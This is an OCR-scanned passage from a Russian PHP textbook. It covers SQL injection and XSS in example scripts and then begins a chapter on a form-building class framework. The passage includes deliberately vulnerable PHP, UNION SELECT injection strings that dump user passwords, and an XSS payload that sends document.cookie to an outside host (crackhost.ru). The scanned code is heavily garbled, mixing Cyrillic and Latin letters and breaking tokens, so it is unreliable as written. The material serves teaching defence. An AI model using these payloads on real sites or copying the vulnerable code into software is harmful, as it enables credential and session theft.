гл а ва 5. Безопа сность создаваемых We b-пр uложенuй - ИМЯ пользователя - 4.0.24 -nt e-mail - baltOIl@mail.1"U Рис. 5.8 . Определение версии MySQL-сервера 353 SQL-инъекция может осуществляться не только по числовому полю, но и по тек­ стовому. В листинге 5.29 представлена система поиска по таблице users list. Л истинг 5.29. Поиск пол ьзователей по имени <table> <form method=post> <tr> <td>Имя :</td> <td><input type=text narne=narne value= "<?= $ POST ['narne' ] ?>">< /td> </tr> <tr><td> &nbsp; </td><td><input type=submit vа luе= ' Искать '></td></tr> </form> </table> <?php if ( !empty ($_POST) ) // Устанавливаем соединение с базой данных require_once ( "con fig . php " ) ; // Производим поиск поль зователя с именем $_POST ['narne' ] $query = "SELECT * FROM users list
354 ?> WНERE пате LIКE '$_POST [naтe] %' ORDER ВУ пате" ; $usr = rnysql_query ($query) ; if (!$ usr) ехit ("Ошибка - ".rnysql_error () ); whi le ( $user = rny sql_fetch_array ($usr) ) echo "Имя поль зователя - $user [naт e] <br> "; Часть 1. Общие в ОПРОСЬf - в тексто вой области в НТМL-форме достато чно ввести часть имени, чтобы вывести список всех похожих имен. Резул ьтат работы системы поиска из листи нга 5.28 представл ен на рис. 5.9. , -IF"'"-I Иска ть И.1I.1Я пользователя - barton Рис. 5 .9 . Поиск пользователя по части его имени Если в качестве имени указывается пустая строка, то извлекаются имена всех зареги стрированных пользователей (рис. 5.1О). Испол ьзуя скрипт из листи нга 5.29, можно вывести также имена и парол и всех пользователей. Для этого можно воспол ьзоваться конструкцией UN ION. SQL-запрос, выполняющийся системой при пустом поле narne , можно пред­ ставить следующим образом (л исти нг 5.30).
Глава 5. Безопа сность создаваемых Wе Ь-пр uложенuй - иЬ,{JI: I...... ....... . . .. . ..... .... .. . .. ....... .. ................... . .. . .... Имя пользователя - barton Имя пользователя - cheops ИМЯ пол:рзователя - GOl'don Имя пользователя - testet' Имя пользователя - yandex имя пользователя - Чиф . I Рис. 5 .1 0 . ВЫВОД списка всех пользователей Листи нг 5.30. ВЫВОД всех зарегистрированных пользователей SELECT * FROM userslist WHERE пате LlКE '%' ORDER ВУ пате 355 Для внедрения SQL-инъекции необходимо завершить запрос и через конст­ рукцию UN ION добавить второй запрос (листинг 5.3 1). Листинг 5.31 . ВЫВОД всех зарегистриро ванных пользователей SELECT * FROM userslist WНERE пате LlКE " UNION SELECT * FROM userslist WНEREпатеLIКE '%' ORDER ВУ пате Инъекционный SQL-запрос выделен жирным шрифто м и выглядит следую­ щим образом 'UNION SELECT * FROM userslist WHERE пате LIKE'. Для то го чтобы убедиться в работоспособности SQL-инъекции, достато чно передать эту строку в качестве имени пользователя (рис. 5.11).
356 ЗА МЕЧАНИЕ Часть 1. Общие вопрось/ - Такой прием не сработает, если на сервере включен режи м так наЗЫвае_ мых "магических кавычек", когда ка вычки, переданные методами GET POST или через cookie, экранируются обратным слэшем. Включить данный режим можно, выставив значение 'Оп' для директивы magic_quotes_gpc. Имя: I· Ч�I(?� ?Е:ц: : с: : т. . i�=Ч иs�1 Имя пользователя - barton I Пароль - d\vert I1. . ?"IЯ пользователя - cheops I Пароль - cheops Имя пользователя - Gordon I Пароль - 123 Имя пользователя - tester I Пароль - test Рис. 5.1 1 . Передача SQL-и нъекции через НТМL-форму После того как SQL-запрос успешно подобран, можно расшифровать стол б­ цы в инъекционном SELE ct-запросе (листинг 5.32). Листинг 5.32. ВЫВОД всех за регистрирова нных пол ьзователей SELECT * FROM userslist WHEREпатеLIКEII UNION SELECT id_user , name , разз , email , url FROM userslist WНEREnameLIКEI%I ORDER ВУ пате Можно выводить не только пароль, но и имя пользователя. Для того чтоб ы вывести одновременно два стол бца, можно воспользоваться внутренней функцией MySQL CONCAT (), объединяющей несколько строк в одну . Сам за­ прос, выполняющий вывод списка пользователей и их паролей, может вы ­ глядеть так, как это представлено в листинге 5.33.
ГЛ двд 5. Безопа сность создаваемых We b-пр uложенuй -- листиНГ 5.33. В ывод всех зарегистрированных пользовател ей SELECT * FROM userslist WHERE пате LIКE " UNION SELECT id_u ser , CONCAT (name, ' I Пароль - ' pass), pass, email, url FROM userslist WНEREпатеLIКE'%' OR DER ВУ пате 357 SQL- инъекция, которую необходимо передать вместо имени пол ьзователя, м ожет выглядеть следующим образом: 'UNION SELECT id_u s er, CONCAT (пате ,' I Пароль - " pass ), pass, email, url FROM userslist WHE RE пате LIKE ' . Конечный резул ьтат может выглядеть так, как изобра­ жено на рис. 5.12. Рис. 5.12. Список пользовател ей и их парол ей в качестве имени пол ьзователя могут выступать последо вател ьности букв, цифр и специальных символов, в то м числе и кавычек. Поэтому обезопасить скр ипт специальными функциями вряд ли удастся. Для экран ирования кав ычек предназначена функция my sql_e scape_s tring (). Однако, есл и на сервере включен режим "магических кавычек", вызов функ­ ции будет дубл ировать работу сервера. Выяснить, включен ли режи м "маги­ ческ их кавычек", помогает функция get_magic_quo tes_g pc ( ) , которая воз­ вращает true, если режим включен, и false - в противном случае . Таким
358 Часть 1. Общие вопр ось/ - образом, защита от SQL-инъекции может выглядеть так, как это предстаВл е_ но в листинге 5.34. Л истинг 5 .34. Экранирование кавычек <table> <form method=post> <tr><td>Имя : </td><td><input type=text пате=пате value= "<?= $_POST [ ' пате ' ] ?>">< /td></tr> <tr><td> &nbsP i</td><td><input type=submit vаluе= 'Искать '></td></tr> </form> </tab le> <?php ?> if (!empty ($_POST ) ) // Устанавливаем соединение с базой данных require_опсе ( "config . php " ) i / / Если режим магиче ских кавычек не включен , // обрабатываем поле $_POST ['naтe'] функцией // mysql_e scape_string () if ( ! get_magic_quotes_9РС () ) // Пр оизводим поиск пользов ателя с именем $_POST ['naтe' ] $query = "SELECT * FROM userslist WНERE пате LlКE '$_POST [naтe] %' ORDER ВУ пате"i $usr = my sql_query ($querY) i i f (!$usr) exit ("Ошибка - ".mysql_error () ) i while ($user my sql_fetch_a rray ($us r) ) echo "Имя пользователя - $user [naтe] <br> " i
глава 5. безопасность создава емых Web-пр uложенuй 359 - 5.5. ХSS-инъекции хss-инъекции или межсайтовый скриптинг - это атака, кото рая позволяет зл оумышленнику вставлять в НТМL-код сайта вставки вредоносного HTML­ кода, и спол ьзующие, как правило, скри пты JavaScript. ЗА М ЕЧАНИЕ XSS расшифровывается как Cгoss-Site Scгi pti ng, од нако аббревиатура CSS не используется , чтоб ы не путать это сокращение с каскадными табл ицами стилей - Cascading Style Sheets . Дл я демонстрации уязвимости данного типа разработаем простейшую систе­ му регистрации пользователей, информация о кото рых будет помещаться в те ксто вЫЙ файл text.txt (листинг 5.3 5) следующего формата : имя пользователя ::пароль : :e-rnail ::u rl Имя пользователя, его парол ь, адрес электронной почты (е-шаi\) и адрес до­ машней страницы разделяются последовател ьностью : : . Листинг 5,35. Фа йл text.txt ig or : :1234 : :igor@rnail .ru: :http: //www. softtirne .ru cheops ::dwert: : cheops @rna il .ru: :http: //www. softtirne .ru wet : :gordon: ::: Для регистрации нам понадобится НТМL- форма, состоящая из трех тексто­ в ых полей (под имя, е-шаi \ и URL), двух полей типа password для пароля и его подтверждения и кнопка, позволяющая отправить данные обработч ику (л истинг 5.36). Листинг 5.36 . Скрипт регистра ции пользователей <tab le> <forrn rne thod=post> <tr><td>Имя :</ td><td><iпрut type=text narne=narne>< /td>< /tr> <tr><td>Пароль :</ td><td><iпрut type=pa ssword narne=pass></td>< /tr> <tr> <td>Пароль :</td><td><iпрut type=pa ssword name=pass_again></td></tr> <tr><td>e-rnail : </td><td><input type=text narne=ernail></td>< /tr> <tr><td>URL :</ td><td><input type=text narne=url></td></tr> <t r><td></td><td><input type=subrnit vа luе= ' Зарегистрировать '></td> </tr>
360 </form> </table> <?рЬр // Обработчик НТМL- формы ///////////////////////////////////////////////// // 1. Блок проверки правильности ввода данных ///////////////////////////////////////////////// // Удаляем лишние пробелы $_POST['пате' ] = trim($_POST['пате' ]); $_POST ['p ass '] = trim ( $_POST ['p ass']); $_POST ['p ass_again '] = trim ( $_POST ['pass_again ']) ; Часть 1. Общие вОПРОСbJ // Проверяем, не пустой ли суперглобаль ный ма ссив $ POST if (empty ($_POST [ 'naтe' ] )) exit () ; // Проверяем, правиль но ли заполнены обязатель ные поля if (empty ($_POST ['п ате' ])) exit ('Поле " Имя " не заполнено ') ; if (emp ty ($_POST [ 'раээ ' ] )) exit ( 'Одно из полей "Пароль " не заполнено ' ) ; if (emp ty ( $_POST ['pas s_again '])) ехit ('Одно из полей "Пароль " не заполнено '); if ( $_POST ['p ass '] != $_POST ['pas s_again ']) ехit ('Пароли не совпадают ') ; // Если введен e -ma il, проверяем его на корректность if(!empty($_POST['email'])) if( !preg_match("1 Л [O-9a-z_]+@ [O-9a-z_Л\. ] +\. [a-z]{2,б}$1i", $_POST ['email '])) ехit ('Поле "E-ma i l" должно соответствовать формату somebody@somewhere .ru' ); ///////////////////////////////////////////////// // 2. Блок проверки имени на уникальность ///////////////////////////////////////////////// / / имя файла данных $filenaтe = "text .txt "; // Проверяем, не было ли переданное имя // зарегистрировано ранее
Глава 5. Безопасность созда ва емых WеЬ-прuложенuй $arr = file ($filename) ; forea ch ($arr a s $line ) // Разбиваем строку по разделителю . . $da t a = explode (": :", $line) ; // в ма ссив $ternp помещаем имена уже зарегистрированных // посетителей $ternp[) = $data[O); / / Проверяем, не содержится ли текущее имя // в массиве имен $ternp if ( in_a rra y($ POST ['name'), $ternp) ) 361 ех it ( "Данное имя уже заре гистрировано , пожалуйста , выберите друго е") ; ?> ///////////////////////////////////////////////// // з . Блок регистрации поль зователя ///////////////////////////////////////////////// // Помещаем данные в текстовый файл $fd = fopen ($fi lename , "а ") ; i f ( ! $ fd ) exit ("Ошибка при открытии файла данных" ) ; $str = $_POST ['name') . ": :". $ POST ['pass ') . ": :". $_POST['ernail' ) . "::". $_POST ['url') ."\ r\n" ; fw rite ($fd, $str) ; fc lose ($fd) ; // Осуществляем перезагрузку страницы, // чтобы сбросить РОSТ-данные echo "<HTML><НEAD> <МЕТА HTTP- ЕQU IV= 'Rеfrеsh ' CONTENT= 'O; URL=$_SERVER [ PHP_SELF) '> </HEAD></HTML> "; Как видно из листинга 5.36, обработчик состоит из трех блоков: D блок проверки правильности ввода данных; D блок проверки имени на уникальность; D блок регистрации пользователя.
Зб2 Часть 1. Общие вопр ось/ - Первый бл ок проверяет правильность заполнения НТМL-формы; заПОл н е н ы ли обязател ьные поля (имя и пароль); равны ли друг другу введенные п аро_ ли; есл и введен e-l11ai l, нет ли ошибки в его синтаксисе. Второй бл ок откр ы вает файл данных text.txt и читает из него имена уже за ре­ гистрированных пользователей . Есл и имя, кото рое ввел пользовател ь, со впа_ дает с одним из зарегистрированных имен, то работа скрипта прерывается , а пол ьзовател ю предл агается выбрать какое-то другое имя. Последний блок формирует строку В формате файла данных text.txt и до пи­ сывает ее в файл . После этого осуществляется перезагруз ка скрипта дл я о б­ нуления РОSТ-дан ных. Есл и перезагрузку не произвести, то обновлен ие страницы пользователем приведет к повторной попытке поместить даН ные В text .txt . Для вывода списка пользовател ей можно использовать скрипт, представлен­ ный в листинге 5.37. Листи нr 5 .3 7. ВЫВОД списка пользователей <?php // имя файла данных $filenaтe = "text .txt "; // Проверяем, не было ли переданное имя // зарегистрировано ранее $arr = file ($filenaтe) ; foreach ($arr as $line ) // Разбиваем строку по разделителю $data = explode (": :", $line) ; // Если файл сформирован в Windows , // последний элемент будет содержать // на конце символ \r - избавляемся ОТ него $dаtа [З] = trim ( $dаtа [З] ); // Если выбран текущий поль зователь , // сохраняем данные if ($_GET [ 'пате ' ] $пате = $data [O] ; $ema il = $data [2] ; $data [О] )
глава 5, безопа сность созда ваемых We b-пр uл оже нuй - ?> $url = $data [3] ; / / Формируем список посетителей e cho "<а hrе f= $_SЕRVER [РНР_SЕLF] ?пате=$dаtа [О] > ", htmlspecialchars ($data [O] ) . "</a><br>" ; if ( isset ($_GET ['пате' ])) ( / / в ма ссив $temp помещаем имена уже зарегистрированных / / посетителей echo "Имя - ".htmlspecialchars ($пате ) ,"<br>" ; if (!empty ($ema il) ) echo .. e-mail - ".htmlspecialchars ($emai l) ,"<br>"; if (!emp ty ($url) ) echo "URL - ".htmlspecialchars ($url) . "<br>" ; echo "<br> "; 3б3 После применения к строке файла text. txt функци и explode () получаем мас­ си в $date, состоящий из четырех элементов, первый элемент кото рого $ da te [O] содержит имя, второй $date [l] - пароль, третий $date [2] - ад­ рес электронной почты (е-шаi l), а четверты й $date [3] - адрес домаш ней стран ицы (URL), 111:01' �4.�9.l?� wet Имя - cheops е-шаi1 - cheops@тail.ru URL - http://,,,,, , vw.soft t iтe.ru Рис. 5 .1З . ВЫВОД информации о пользователе
Зб4 Ча сть 1. Общие вопросы Перевод строк в файле text.txt осуществляется в формате операционной с ис­ те мы Windows при помощи последо вательности \r\n. В то же время функ ция explode (), разбиваю щая строку на подстроки, ориенти руется на переводы строк в формате UNIX, где для этого испол ьзуется лишь один символ \n. По­ это му последний элемент всегда содержит лишний невидимый символ \ r, избавиться от которого можно, пропустив строку через функцию trim (), ко­ торая удаляет начальные и ко нечные пробельные символы. Резул ьтат работы скрипта из листинга 5.3 7 представлен на рис. 5 .13. В листинге 5.37 уязвимость с вязана со строкой, которая представлена ниже (листинг 5.38). Листинг 5.38. Уязвимая строка <?php ?> echo "<а hre f=$_SERVER [PHP_SELF] ?name=$data [O] > ". html specialchars ($data [O] ) . "</a><br>"; Имя: Ih��", , �:>.�.,?:=::>.?�i�t?,:�I�.�(��II? ��r..I .f:i !:J�'.�<: : r.ip'� Пароль: '�"". ............. . . ................. . . . . Пароль: '.!. . . . .... , г- --------------------------� е-mai1: _._ _ .... . .. ...... ... .. . ! URL: Рис. 5 . 14. Инъекция JavaScгipt Имя ссылки подвергается обработке функцией htmlspecialchars ( ), а пара­ метр пате -- нет. Если вместо него теперь подставить выражение
Глава 5. безопасность создаваемых Wе Ь-пр uложенuй 365 new_user><script>alert ('Hello world ! ')</script, это позволит выполнить скрипт JavaScript, выводящий надпись Пеllо world !. Для этого достаточно зарегистрировать пользователя с таким именем (рис. 5 .14). В резул ьтате каждому посетителю, просматри вающему список пользо вател ей, будет выводиться диалоговое окно с надписью Пеllо world ! (рис. 5.15) . .!,gQ! cheops :\'Y.�t Рис. 5.15. ВЫВОД диалогового окна с надписью Hello world! Однако работа, выпол няемая ХSS-скриптом, может быть гораздо более опас­ ной, например, посетители могут пере направляться на другой саЙт. Для этого достаточно использовать ХSS-инъекцию вида: new_us er><script>location .href= .http: / /www .crackhost .ru' ; </script. Более того, можно похищать cookie и пароли в них, есл и переправлять их в GЕТ-параметре (на сайте ww w .crackhost.ru должен быть подготовлен файл index.pl1p для сбора и сохранения параметра cookie в файл или базу дан­ ных)% new_user><script>location .href= . http: //www. crackhost. ru/ index .php ?co okie= ' +es cape ( document .cookie) ; </script Для защиты от уязвимости такого рода необходимо подвергать обработке функцией htrnlspecialchars () любые данные, которые поступают с компью­ тера кл иента и выводятся в окно браузера.
ГЛАВА 6 Вспомогательный набор классов. Fra тework Прежде чем приступать к разраб отке сайта, необходимо запастись инстру­ ментарием, который позволит сэкономить время и усилия, затрач иваемые на разработку основной части Web-приложения. Нерационально дл я разны х блоков сайта разрабаты вать и отлажи в ать схожий код, отличающийся лишь деталями; задача любого программиста - добиться максимального повтор­ ного использования кода. Максимальное повторное использование кода не тол ько сокращает время разработки, но также позволяет уменьшить вероят­ ность ошибки, ко гда один из блоков редактируется, а другой блок, содержа­ щий точно тако й же код, коррекции не подвергается . Код, который предназначается дл я повторного использования, удобно оформлять в виде классов, так как они позволяют легко расширять базовую функциональность за счет механ изма наследо вания. Разумеется, оформлять в виде кл ас сов все подряд - не самая удач ная идея . Например, разрабаты вать собственный объектно-ориентированный интер­ фейс для доступа к СУБД MySQL в приложен ии, не использующем никаких других СУБД, не имеет смысла - код усложнится, увеличатся трудозатраты на его создание и сопровожде ние, придется отказаться от эффекти вных уни­ кал ьных особенностей MySQL. Также не имеет смысла создавать уникаль­ ные кл ассы, содержащие методы дл я реал изаци и гостевой книги ил и блока "Новости ", так как объем кода, необходимый для создан ия таких кл ассов, превосходит объем кода не объектно-ориентированного приложения, тем бо­ лее что сам класс никогда повторно использоваться не будет. Трудно пред­ положить, что дл я внесения изменения в класс гостевой книги сторонний разработч ик будет наследовать новый класс, а не отредактирует существую­ щий. Тем более, редакти рование как содержимого кл асса, так и его интер-
Глава 6. ВспомогатеЛЬНblЙ на бор кл ассов. Fra m ework 367 фейса ничем не сдерживается - у такого кл асса нет наследн иков, его не ис­ пол ьзуют десятки других приложений. Очень часто возникает вопрос: когда же необход имо применять объектно­ ориентированный подход в РНР? Ведь протокол ы сети Интернет, СУБД и все сетевое окруже ние ориенти ровано на структурный подход . Объектно-ориентированн ый подход оправдывает себя тол ько в то м случае, когда один и тот же набор классов испол ьзуют десятки ил и сотн и приложе­ ний, то есть налицо повторное использование кода. Есл и кл асс испол ьзуют десятки приложений, изменить его интерфейс уже невозможно, однако можно воспользоваться его функциональностью, унаследовав производн ый класс. При это м классы не должны зависеть от бизнес-логики приложения ил и от его дизай на, иначе испол ьзовать его в других приложениях станет невозмож­ но . Последнее означает, что, совершенствуя и модифицируя набор классов, можно в приложении двухлетней давн ости заменить его новой версией (снабже нной дополнительной функциональностью и с исправленными ошиб­ кам и), при этом ни дизайн, ни бизнес-логика приложения не пострадают. Разделение движка, бизнес-логики и дизайна приложения часто опис ывают в рамках архите ктуры МУС (Model, View, СОl1 tю llег) - Модел ь, Вид, Кон­ троллер. Архитектура МУС популярна на Западе и удобна в рам ках сложн ы х оконных приложений, однако к сетевым приложениям эта модел ь обычно не применяется. Да и сам и ко мпоненты Web-приложения часто назы вают не­ много по-другому: "движок", "биз нес-логика" и "дизай н". На рис . 6. 1 пред­ ставлена схема соответствия архитекту ры МУС и компонентов Web­ приложения. Движок Модель (Model) IIL-________________� Бизнес-логика Ко нтроллер (Controlleг) I L-________________� В ид (View) Iс. .. 1 __ _ д _ из _ а _ й _ н___ -' Рис. 6 .1. Сравнение архитектуры MVC и компонентов Web-приложен ия
368 Часть 1. Общие вопр ось/ - Движок (Модель) реал изует базовые возможности приложения, на осно ве которых строится бизнес-логика приложения (Контролл ер). Причем дл я то го чтобы дизайнеры и разработчики могли работать раздельно, часто прибе гают к шаблонам или стилевым табл ицам (Вид), позволяющим одномоме нтн о ме­ нять дизайн всего приложения, состоя щего из тысяч стран иц. Единая архитектура МУС в Web-приложениях чаще всего разделя етс я на ко мпоненты в соответств ии с одн ой из следующих моделей : О разделение дизайна и программного кода, которое часто реализуется в виде шаблонов (tel11plate); О разделение бизнес-логики и рути нных операций, обычно реал изуе мое в виде fr al11ework - набора классов, который составл я ет остов приложе н ия и предоставляет разработчику готовые програм мные бл оки, соединяеМ ы е между собой в зависимости от бизнес-логики конкретного приложения . ЗА МЕЧА НИЕ Шаблоны достаточно популярны среди Web-разработчиков, од нако их рас­ смотрение выходит за рамки данной кн иги. Среди достоинств шаблон ов можно отметить то , что они позволяют значител ьно сократить размер фай­ лов, состоящих из смешанного кода HTML и Р НР. К недостатка м шаблон ов можно отн ести отсутствие стандартизации - существует большое кол иче­ ство разных систем, не совместимых друг с другом ни по синтаксису, н и п о идеологии. Более того , ста ндартизации ш аблонов не предвидится , так как их роль должн ы выпол нять каскадные табл ицы стилей (CSS), использо в а­ ние кото рых совместно с XML в идеале должно приводить к разделен ию оформления документа (дизайна) и его структуры . Остановимся подробнее на создании движка или Fгаl11еwогk-с истемы, так ка к эта часть VVeb-приложения идеально подходит дл я применения объектно­ ориентированного подхода. Однажды разработанный набор кл ассов может применяться для создания большого кол ичества приложений, а его стар ы е версии могут заменяться без ущерба для логики приложений но выми вер­ сиями. ЗА МЕЧА НИЕ При создании систем, автоматизирующих рутинные операции, важно опре­ делить грань, кото рая позволит значител ьно сократить время разработки приложений и в то же время не уменьшит гибкость системы. Ч ем б ыстрее систе ма позволяет разрабаты вать приложения , тем труднее отклониться от
гл ава б. Вспомогательный набор кл а ссов. Framework - Зб9 ш а блона, диктуемого системой . Н аиболее гибким подходом является ис­ п ользование РНР, HTML и JavaScгipt без каких-л ибо готовых систем и на­ боров кл ассов, однако это и самый трудоемкий и дл ител ьный путь , что в условиях высокой динамики Web-среды не всегда приемлемо. Бол ь ш ая часть времени Web-разработчиков тратится на создание всевозмож­ н ы х НТМL-форм и их обработчиков. Можно добиться значительного сокра­ щения времени разработки, есл и создать гото вые компоненты НТМL-форм, в кото р ых автоматически будет осуществляться проверка правильности ввода и обработка результатов при последующей вставке в базу данных. Объекты эле м е нтов управления НТМL-формы сами могут становиться членами кл асса hTML-формы. Таким образом, можно добиться высокой степени повторного использования кода и в то же время предоставить разработчикам широкие возможности для внесения изменений в набор классов за счет наследования и в ключения уже существующих объекто в. ЗА МЕЧАНИЕ Набор кл ассов, предста вленный в данной гл аве, к моменту написания кн иги был опробован сотрудниками студии SoftTi me для построения десятка сай ­ то в. Для того чтобы не путать да нный набор кл ассов (Fгamewoгk) с другими разработками в этой области , назовем его SoftTime Fгamewoгk. Обновлен­ ные версии дистрибути ва можно будет найти в разделе Dоwпlоаds на са йте http://ww w . soft t ime.ru . Версию SoftTi me Fгamewoгk, рассматриваемую в данной книге, можно найти на поставляемом вместе с ней компакт-диске. в данной главе будет разработан набор кл ассов для быстрого построения НТМL-форм, а также продемонстрирован способ расширения данного набора за счет разработки новых эл ементов управления с использованием уже суще­ ствующих. 6 . 1. Требования к набору кл ассов Конечной целью SoftTime Framework будет набор классов, позволяющий создавать НТМL-формы высокой степени сложности . Такой набор предос­ тавляет разработчику ряд преимуществ : CJ автомати чески осуществляется проверка правильности ввода информации; CJ автоматически выполняется экранирование специальных символов перед помещением информации в базу данных, что предотвращает любую воз­ можность SQL-инъекций;
370 Часть [. Общие вопрось/ - о НТМL-форму (вместе с введенной пользовател ем информацией) м ож н о сериализовать и в любой момент восстановить (это может быть удоб­ ным, когда требуется продолжить работу с формой после регистрации пользователя). НТМL-формы могут быть совершенно раз ными по форме и содержанию . В своем составе НТМL-формы могут содержать текстовые области, в ыпа­ дающие списки, переключатели, флажки (рис. 6 .2). Обязател ьные дл я зап ол­ нения эл ементы управления отмечаются символом *. ТеКСТОElая о(!лас1Ъ ':. Многострочная l'f fir сroвая обrшсть ': Пере�Пю'iатеflь rОРЮОН8ЛЬНЫЙ: Гlерекnючатель верrикал ..ныЙ :: Дота и время: Фnажок; .� } ' � 1 � ] t.,;" ../j �� ... ...................•............. ...........................� �даr.нет €дa r: .нет ��I ' IЭI� � IP9. �I Q.� @J ?99 7 . � 1 ?9 �1.��.i!J � Доба вить Рис. 6 .2. Типичная НТМL-форма Как видно из рис. 6 .2, ти пичная НТМL-форма содержит расположенные друг под другом элементы управления. Справа распол агается название эл емента, сл ева сам эл емент управления.
гл а ва 6. Вспомога mеПЬНbJЙ набор классов. Framework -- ЗАМЕЧАНИЕ 371 В данной гл аве не будут рассматриваться элементы управления HTML­ формы, использующие для своего функционирования элементы JavaScript. Встр ечаются и более сл ожн ые формы, на пример, между эл ементам и управ­ лени я м огут располагаться текстовые параграфы и заголовки, а сам эл емент уп равления может снабжаться пояснительной надписью или ссылкой на стат ьЮ с пояснениями (рис. 6 .3). Заголовок СледУЮЩllе два элеМ€fiта )'П.p;:Jвnения снаuжены l!споr.lоrаrельныrd:J1 подскззКilМ.1t. rl epBbll 1 :)Леr�еfП Уl1рз.влен\1Я снабжён текстовой ПОДС1ШЗ1ЮЙ, а второй - ССЫЛJЮI1 на сrpaНIЩУ с помощью. ФИО ': 1. .. .. ..... ... ...... .. ...... .. ... ... . . ... . . ........... ..... :i Введиrе ФамИflШО, Имя ., 01'1ес!во на аНПllmскor.t нзыке ! KOOPAI�fI<lTbl '; [.. Доба вить Рис. 6.3 . Подсказки для элементов управления НТМL-формы Помимо видимых элементов управления, НТМL-форма может содержать скрытые эл ементы для передачи информации, которые могут быть как обяза­ те льными, так и не обязательными; одни должны содержать лишь числ овые знач ения, для других до пускаются тексто вые. Каждому эл ементу управления будет соответствовать отдел ьный кл асс . Мас­ си в объектов разных классов будет составлять содержимое НТМL-формы. Дан ный массив будет передаваться конструктору Н ТМL-формы, которая бу­ дет содержать метод вывода НТМL-формы в окно браузера в виде табл ицы.
372 ЗА МЕЧА НИЕ Часть 1. Общие вопрось/ -- Кл асс НТМL-формы будет самым узки м элементо м системы, так как и менно он будет определять структуру и внешний вид НТМL-формы. Разуме ется при помощи каскадных табл иц ст илей можно будет поменять внешний в ид НТМL-формы, однако если потребуются структурные изменения, например , расположить элементы управления в два стол бца , придется унаследо в ать от него производ ный кл асс и перегрузить в нем метод, ответственн ы й за вывод НТМL-формы в окно браузера. 6.2. НТМL-форма и ее обработчик Так как основной целью создаваемого набора кл ассов будет НТМL-форм а , расс мотрим подробнее процесс ее создан ия и обработки. НТМL -формы соз­ даются при помощи парных те гов <forrn> И </forrn>, между которыми рас п о­ лагаются теги элементов управления . В листинге 6. 1 представл ен НТМL-код формы, с одержащей два элемента управления с однострочной тексто вой об­ ластью text И кнопку подтверждения submi t. Рис. 6 .4 . НТМL-форма в окне браузера Листинг 6,1 , НТМL-форма <forrn rne thod=POST> <input type=text name= first><br> <input type=text name=second><br>
гл а ва 6. Вспомогательный набор кл ассов. Framework - < input type=submit vаluе= " Отправить " > </for:r rL> 373 Результатом интерпрета ции НТМL-кода из листинга 6. 1 будет простейшая htML-форма, представленная на рис. 6 .4. Элементы управления, как правило, подписываются слева, что может приво­ дить к искажениям, нарушающим дизайн НТМL-формы (рис. 6.5). Рис . 6.5 . Искажение дизай на НТМL-форм ы Для того ч тобы предотвратить искажение, представленное на рис. 6 .5, эл е­ менты управления помещают в ячейки НТМL-табл ицы (л истинг 6.2). Л истинг 6.2 . Использование табл и цы для структурирования эл ементов ф ормы < form method=POST> <table> <tr> <td>Первый *:</td> <td><input type=text name=first></td> </tr> <tr> <td>Второй :</td> <td> <input type=text name= second></td> </tr> <tr> <td> &nbsp ;</td>
374 Часть 1. Общие вопр ось/ - <td>< input type=submit vаluе= " Отправить "></td> </tr> </table> </forrn> Результат интерпретации НТМL-кода из листинга 6.2 представл ен на рис. 6 .6 . Первый*:1_ Второй: '- 1 - . - ....- ......- .....- .....- ... ...- .....- .._ - .... .- . ...."" ""' _) Рис. 6 .6 . Выравнивание элементов управления НТМL-формы в листингах 6. 1 и 6.2 тег <forrn> содержит атрибут me thod, который устанав­ ливает в качестве метода передачи метод POST. Помимо метода POST дЛЯ пе ­ редачи данных из НТМL-формы в обработчик применяется также метод GET. В табл . 6. 1 представлены основные атрибуты, позволяющие управлять пове­ дением НТМL-формы. Та блица 6. 1 . Атрибуты тега <form> Атр и бут Описание action Указывает адрес обработч ика, кото рому переда ются данные из НТМL-формы. Если тег <form> не содержит атрибута act ion, то данные отправляются в файл , в котором описывается HTML- форма enctype Определяет формат отправляемых данных при использовании метода передачи данных POST. ПО умолчанию испол ьзуется фор- мат application/x-www -form- urlendoded. Если НТМL-форма содержит элемент управления file, предназначенный для пере- дачи файлов на сервер, то следует указать формат mu l tipart/form- data
глава б. ВспомогатеЛЬНblй набор кла ссов. Framework 375 - Таблица 6. 1 (окончание) дтрибут Описание г- method Определяет метод передачи да нных ( POST или GET) из HTML- формы обработч ику. По умолчанию, если не указ ывается атри- бут me thod, применяется метод GET пате Определ яет имя НТМL-формы, которое может использоваться для доступа к элемента м управления в скриптах, выполняющих- ся на стороне клиента (например, скриптах JavaScгipt) target Указывает окно для вывода результата, полученного от обработчика НТМL-формы. Атрибут может принимать следующие значения: CJ _blank - результат открывается в новом окне; CJ _s elf - резул ьтат открывается в текущем окне; данный ре- жим используется по умолчанию, если атрибут target не указан явно; CJ _p arent - результат открывается в родительском фрейме; при отсутствии фреймов режи м аналогичен _s elf; CJ _top - отменяет все фреймы, если они имеются и загружает страницу в полном окне браузера; при отсутствии фреймов работает как _s elf Как видно из табл . 6 . 1, адрес обработчика указывается в атрибуте action. Различают два подхода к созданию обработчика НТМL-формы: С] обработчик расположен в отдел ьном файле, после выпол нения манипуля­ ций над полученными данными они направляются на главную страницу; С] обработчик располагается в том же самом файле, где находится HTML- форма. Рассмотрим каждый из случаев более подробно. В листинге 6.3 приводится пример НТМL-формы, расп оложенной в файле index.php и содержащей единственное текстовое поле first И кнопку. Листинг 6.3 . НТМL-форма (файл index.php) <form action=handl er .php me thod=POST> <input type=text name=first> <input type=submit vаluе= " Отправить"> </form>
376 Часть 1. Общие вопрось, - Данные отп равляются обработч ику, расположенному в файле lШl1dlег .рl1 Р , который осуществляет запись введенной в поле first строки в файл text.txt (л истинг 6.4). Ли�тинг 6.4. Обработчик НТМL-формы (файл handler.php) <?php ?> // Если поле first не заполнено , выводим сообщение // об ошибке if (empty ($_POST ['first ' ] )} exit ("Текстовое поле не заполнено ") ; // О т крываем файл text .txt на запи сь $fd = fopen ("text .txt", "а"} ; if ( ! $ fd) exit ("Невозможно открыть файл") ; // Записыв аем введенную поль зоват елем строку // в текстовый файл fwrite ($fd, "$_POST [first ] \r\п" ) ; / / Закрыв аем файл fclose ($fd) ; // Осуще ствляем редирект на главную с траницу @header ( "Location : index .php" } ; Обработчик l1al1dler.pl1p проверяет при помощи функции empty ( ) , не является ли значение поля first пусты м. Есл и поле пустое, работа скри пта останав­ ливается с выдачей сообщения об ошибке. Есл и поле заполнено корректн о, файл text.txt откр ывается для записи и в него помещается новая стро ка с со­ держимым элемента суперглобального масс ива $ _POST [ I first ' ]. З АМЕЧАНИЕ Значения элементов управления, переда нных из НТМL-формы, извлекают­ ся из суперглобального массива $_ POST или $_GET В з ависимости от вы­ бранного метода передачи данных. Для файлов, загружаемых на сервер, предназначен отдел ьный массив $_FILES. При помощи функции header () отп равл яется НТТР-загол овок Location, ко­ то рый 